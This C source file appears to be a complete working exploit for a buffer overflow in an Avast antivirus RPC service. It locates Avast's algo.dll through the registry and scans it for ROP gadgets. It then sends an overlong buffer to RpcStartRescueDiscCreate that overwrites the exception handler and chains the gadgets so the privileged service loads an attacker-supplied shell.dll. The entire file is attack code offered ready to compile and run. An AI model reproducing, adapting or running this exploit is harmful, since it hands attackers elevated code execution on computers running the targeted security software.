#include "dollhouse.h"
#pragma comment( lib, "advapi32" )
#pragma comment( lib, "rpcrt4.lib" )
void __RPC_FAR * __RPC_USER midl_user_allocate( size_t cBytes )
{
return ( ( void __RPC_FAR * )LocalAlloc( LPTR, cBytes ) );
}
void __RPC_USER midl_user_free( void __RPC_FAR * p )
{
LocalFree( p );
}
static GADGET_LOCATION g_GadgetLocations[] = {
{ { 0x81, 0xc4, 0x18, 0x08, 0x00, 0x00, 0xc3 }, 7, 0 }, //add esp,818h & retn
{ { 0x95, 0xc3 }, 2, 0 }, //xchg eax,ebp & retn
{ { 0x59, 0xc3 }, 2, 0 }, //pop ecx & retn
{ { 0x2b, 0xc1, 0x5b, 0xc3 }, 4, 0 }, //sub eax,ecx & pop ebx & retn
{ { 0x96, 0xc3 }, 2, 0 }, //xchg eax,esi & retn
{ { 0xb8, 0x90, 0x00, 0x00, 0x00, 0xc3 }, 6, 0 }, //mov eax,90h & retn
{ { 0x5d, 0xc3 }, 2, 0 }, // pop ebp & retn
{ { 0x83, 0xc4, 0x0c, 0x5e, 0x5d, 0x5f, 0x5b, 0x83, 0xc4, 0x08, 0xc2, 0x14, 0x00 }, 13, -8 }, //call _memcpy sequence
{ { 0x58, 0xc3 }, 2, 0 }, //pop eax & retn
{ { 0x55, 0xff, 0xd0, 0x0f, 0xb6, 0xc0 }, 6, 0 }, //push ebp & call eax & movzx eax,al & ...
};
static DWORD_PTR g_dwpDataAddress = 0;
#ifdef UNICODE
#define LOADLIBRARY "LoadLibraryW"
#else
#define LOADLIBRARY "LoadLibraryA"
#endif
PBYTE memmem( PBYTE haystack, SIZE_T hlen, PBYTE needle, SIZE_T nlen )
{
BYTE needle_first;
PBYTE p = haystack;
SIZE_T plen = hlen;
if ( !nlen )
return NULL;
needle_first = *needle;
while ( plen >= nlen && ( p = memchr( p, needle_first, plen - nlen + 1 ) ) )
{
if ( !memcmp( p, needle, nlen ) )
return p;
p++;
plen = hlen - ( p - haystack );
}
return NULL;
}
BOOL GetSectionInfo( PBYTE pModule, PBYTE szSectionName, PBYTE *ppSection, PDWORD pdwSectionSize )
{
PIMAGE_DOS_HEADER pDOSHeader;
PIMAGE_NT_HEADERS pNTHeaders;
PIMAGE_OPTIONAL_HEADER pOptionalHeader;
PIMAGE_SECTION_HEADER pSectionHeader;
UINT i;
*ppSection = NULL;
*pdwSectionSize = 0;
pDOSHeader = ( PIMAGE_DOS_HEADER )pModule;
if ( IMAGE_DOS_SIGNATURE != pDOSHeader->e_magic )
return FALSE;
pNTHeaders = ( PIMAGE_NT_HEADERS )( pModule + pDOSHeader->e_lfanew );
if ( IMAGE_NT_SIGNATURE != pNTHeaders->Signature )
return FALSE;
pOptionalHeader = ( PIMAGE_OPTIONAL_HEADER )( &pNTHeaders->OptionalHeader );
if ( IMAGE_NT_OPTIONAL_HDR_MAGIC != pOptionalHeader->Magic )
return FALSE;
pSectionHeader = ( PIMAGE_SECTION_HEADER )( ( PBYTE )pOptionalHeader + pNTHeaders->FileHeader.SizeOfOptionalHeader );
for ( i = 0; i < pNTHeaders->FileHeader.NumberOfSections; i++, pSectionHeader++ )
{
if ( strcmp( pSectionHeader->Name, szSectionName ) == 0 )
{
DWORD dwSize = pSectionHeader->Misc.VirtualSize;
if ( dwSize % pOptionalHeader->SectionAlignment != 0 )
dwSize += pOptionalHeader->SectionAlignment - ( dwSize % pOptionalHeader->SectionAlignment );
*ppSection = pModule + pSectionHeader->VirtualAddress;
*pdwSectionSize = dwSize;
_tprintf( _T( "[?] %S: 0x%08Ix 0x%08x\n" ), pSectionHeader->Name, *ppSection, *pdwSectionSize );
return TRUE;
}
}
return FALSE;
}
BOOL FindAndProcessAlgoDotDll( VOID )
{
PBYTE pModule, p;
PBYTE pTextSection, pDataSection;
DWORD dwTextSectionSize, dwDataSectionSize, dwDataSize, dwType = REG_SZ;
UINT i;
LONG lError;
HKEY hkAvast;
TCHAR szDefsPath[MAX_PATH], szAswDefsIni[MAX_PATH], szLatest[MAX_PATH];
ZeroMemory( szDefsPath, sizeof( szDefsPath ) );
ZeroMemory( szAswDefsIni, sizeof( szAswDefsIni ) );
ZeroMemory( szLatest, sizeof( szLatest ) );
lError = RegOpenKeyEx( HKEY_LOCAL_MACHINE, _T( "SOFTWARE\\AVAST Software\\Avast" ), 0, KEY_READ, &hkAvast );
if ( ERROR_SUCCESS != lError )
{
_tprintf( _T( "[-] RegOpenKeyEx() failed (0x%08x)\n" ), lError );
return FALSE;
}
dwDataSize = sizeof( szDefsPath );
lError = RegQueryValueEx( hkAvast, _T( "ProgramFolder" ), 0, &dwType, ( PBYTE )szDefsPath, &dwDataSize );
RegCloseKey( hkAvast );
if ( ERROR_SUCCESS != lError )
{
_tprintf( _T( "[-] RegQueryValueEx() failed (0x%08x)\n" ), lError );
return FALSE;
}
if ( S_OK != StringCchCat( szDefsPath, _countof( szDefsPath ), _T( "\\defs\\" ) ) )
return FALSE;
if ( S_OK != StringCchCopy( szAswDefsIni, _countof( szAswDefsIni ), szDefsPath ) )
return FALSE;
if ( S_OK != StringCchCat( szAswDefsIni, _countof( szAswDefsIni ), _T( "aswdefs.ini" ) ) )
return FALSE;
GetPrivateProfileString( _T( "Definitions" ), _T( "Latest" ), NULL, szLatest, _countof( szLatest ), szAswDefsIni );
if ( S_OK != StringCchCat( szDefsPath, _countof( szDefsPath ), szLatest ) )
return FALSE;
if ( S_OK != StringCchCat( szDefsPath, _countof( szDefsPath ), _T( "\\algo.dll" ) ) )
return FALSE;
pModule = ( PBYTE )LoadLibraryEx( szDefsPath, NULL, DONT_RESOLVE_DLL_REFERENCES );
if ( NULL == pModule )
{
_tprintf( _T( "[-] LoadLibraryEx() failed (0x%08x)\n" ), GetLastError() );
return FALSE;
}
_tprintf( _T( "[+] '%s' loaded!\n" ), szDefsPath );
if ( FALSE == GetSectionInfo( pModule, ".data", &pDataSection, &dwDataSectionSize ) )
{
_tprintf( _T( "[-] .data section not found\n" ) );
return FALSE;
}
//enough room at the end of the .data section of algo.dll to store MAX_PATH TCHARs
g_dwpDataAddress = ( DWORD_PTR )pDataSection + dwDataSectionSize - ( MAX_PATH * sizeof( TCHAR ) );
_tprintf( _T( "[?] g_dwpDataAddress = 0x%Ix\n" ), g_dwpDataAddress );
if ( FALSE == GetSectionInfo( pModule, ".text", &pTextSection, &dwTextSectionSize ) )
{
_tprintf( _T( "[-] .text section not found\n" ) );
return FALSE;
}
for ( i = 0; i < _countof( g_GadgetLocations ); i++ )
{
p = memmem( pTextSection, dwTextSectionSize, g_GadgetLocations[i].pByteSequence, g_GadgetLocations[i].dwByteSequenceLength );
if ( NULL == p )
{
_tprintf( _T( "[-] Gadget %d not found\n" ), i );
return FALSE;
}
g_GadgetLocations[i].dwpLocation += ( DWORD_PTR )p;
_tprintf( _T( "[?] g_GadgetLocations[%d].dwpLocation = 0x%Ix\n" ), i, g_GadgetLocations[i].dwpLocation );
}
_tprintf( _T( "[+] All gadgets were located successfully\n" ) );
return TRUE;
}
int _tmain( int argc, TCHAR *argv[] )
{
RPC_STATUS RpcStatus;
TCHAR *StringBinding = NULL;
RPC_BINDING_HANDLE RpcBindingHandle = NULL;
LONG lResult;
PBYTE pbBuffer = NULL;
INT i;
TCHAR szShellDll[MAX_PATH];
ZeroMemory( szShellDll, sizeof( szShellDll ) );
GetCurrentDirectory( MAX_PATH, szShellDll );
if ( S_OK != StringCchCat( szShellDll, MAX_PATH, _T( "\\shell.dll" ) ) )
return 0;
if ( ( _tcslen( szShellDll ) * sizeof( TCHAR ) ) > 0x90 )
{
_tprintf( _T( "[-] Path to shell.dll is too long!\n" ) );
return 0;
}
if ( 2 != argc || 0 != _tcsicmp( argv[1], _T( "run" ) ) )
{
LoadLibrary( szShellDll );
return 0;
}
/* locate algo.dll and load the gadgets */
if ( FALSE == FindAndProcessAlgoDotDll() )
return 0;
/* connect to the endpoint */
RpcStatus = RpcStringBindingCompose( _T( "908d4c23-138f-4ac5-af4a-08584ae7c67b" ),
_T( "ncalrpc" ),
NULL,
_T( "[Aavm]" ),
NULL,
&StringBinding );
if ( RPC_S_OK != RpcStatus )
{
_tprintf( _T( "[-] RpcStringBindingCompose() failed (0x%08x)\n" ), RpcStatus );
goto CleanUp;
}
_tprintf( _T( "[?] %s\n" ), StringBinding );
RpcStatus = RpcBindingFromStringBinding( StringBinding, &RpcBindingHandle );
if ( RPC_S_OK != RpcStatus )
{
_tprintf( _T( "[-] RpcBindingFromStringBinding() failed (0x%08x)\n" ), RpcStatus );
goto CleanUp;
}
_tprintf( _T( "[!] Press a key to continue...\n" ) );
_getwch();
/* build the overflow buffer */
pbBuffer = ( PBYTE )LocalAlloc( LPTR, 0x10000 );
if ( NULL == pbBuffer )
{
_tprintf( _T( "[-] LocalAlloc() failed (0x%08x)\n" ), GetLastError() );
return 0;
}
FillMemory( pbBuffer, 0x1000, 'A' );
*( DWORD_PTR * )( &pbBuffer[0x354] ) = ( DWORD_PTR )0xffffffff; //SEH
*( DWORD_PTR * )( &pbBuffer[0x358] ) = g_GadgetLocations[0].dwpLocation; //add esp,818 & retn
*( DWORD_PTR * )( &pbBuffer[0x20c] ) = g_GadgetLocations[1].dwpLocation; // xchg eax,ebp & retn
*( DWORD_PTR * )( &pbBuffer[0x210] ) = g_GadgetLocations[2].dwpLocation; // pop ecx & retn
*( DWORD_PTR * )( &pbBuffer[0x214] ) = ( DWORD_PTR )0xfffffc24; //ecx
*( DWORD_PTR * )( &pbBuffer[0x218] ) = g_GadgetLocations[3].dwpLocation; //sub eax,ecx & pop ebx & retn
*( DWORD_PTR * )( &pbBuffer[0x220] ) = g_GadgetLocations[4].dwpLocation; //xchg eax,esi & retn
*( DWORD_PTR * )( &pbBuffer[0x224] ) = g_GadgetLocations[5].dwpLocation; //mov eax,90h & retn
*( DWORD_PTR * )( &pbBuffer[0x228] ) = g_GadgetLocations[6].dwpLocation; //pop ebp & retn
*( DWORD_PTR * )( &pbBuffer[0x22c] ) = g_dwpDataAddress; //ebp
*( DWORD_PTR * )( &pbBuffer[0x230] ) = g_GadgetLocations[7].dwpLocation; //call _memcpy sequence
*( DWORD_PTR * )( &pbBuffer[0x238] ) = g_dwpDataAddress; //ebp
*( DWORD_PTR * )( &pbBuffer[0x24c] ) = g_GadgetLocations[8].dwpLocation;//pop eax & retn
*( DWORD_PTR * )( &pbBuffer[0x264] ) = ( DWORD_PTR )GetProcAddress( GetModuleHandle( _T( "kernel32" ) ), LOADLIBRARY ); //eax
*( DWORD_PTR * )( &pbBuffer[0x268] ) = g_GadgetLocations[9].dwpLocation; //push ebp & call eax & movzx eax,al & ...
*( DWORD_PTR * )( &pbBuffer[0x288] ) = ( DWORD_PTR )GetProcAddress( GetModuleHandle( _T( "kernel32" ) ), "ExitProcess" ); //clean exit
/* trigger the exploit */
RpcTryExcept
{
lResult = RpcStartRescueDiscCreate( RpcBindingHandle,
L"{7F59730D-9215-4C91-B348-50E6E7DB0587}",
0,
szShellDll,
0,
( PWCHAR )pbBuffer,
0 );
_tprintf( _T( "[!] RpcStartRescueDiscCreate() returned 0x%08x\n" ), lResult );
}
RpcExcept( 1 )
{
if ( 0x6be == RpcExceptionCode() )
_tprintf( _T( "[+] Check your Interactive Services Detection window!\n" ) );
else
_tprintf( _T( "[-] An RPC exception has occurred (0x%08x)\n" ), RpcExceptionCode() );
}
RpcEndExcept
CleanUp:
if ( NULL != RpcBindingHandle )
{
RpcBindingFree( &RpcBindingHandle );
}
if ( NULL != StringBinding )
{
RpcStringFree( &StringBinding );
}
if ( NULL != pbBuffer )
{
LocalFree( pbBuffer );
}
return 0;
}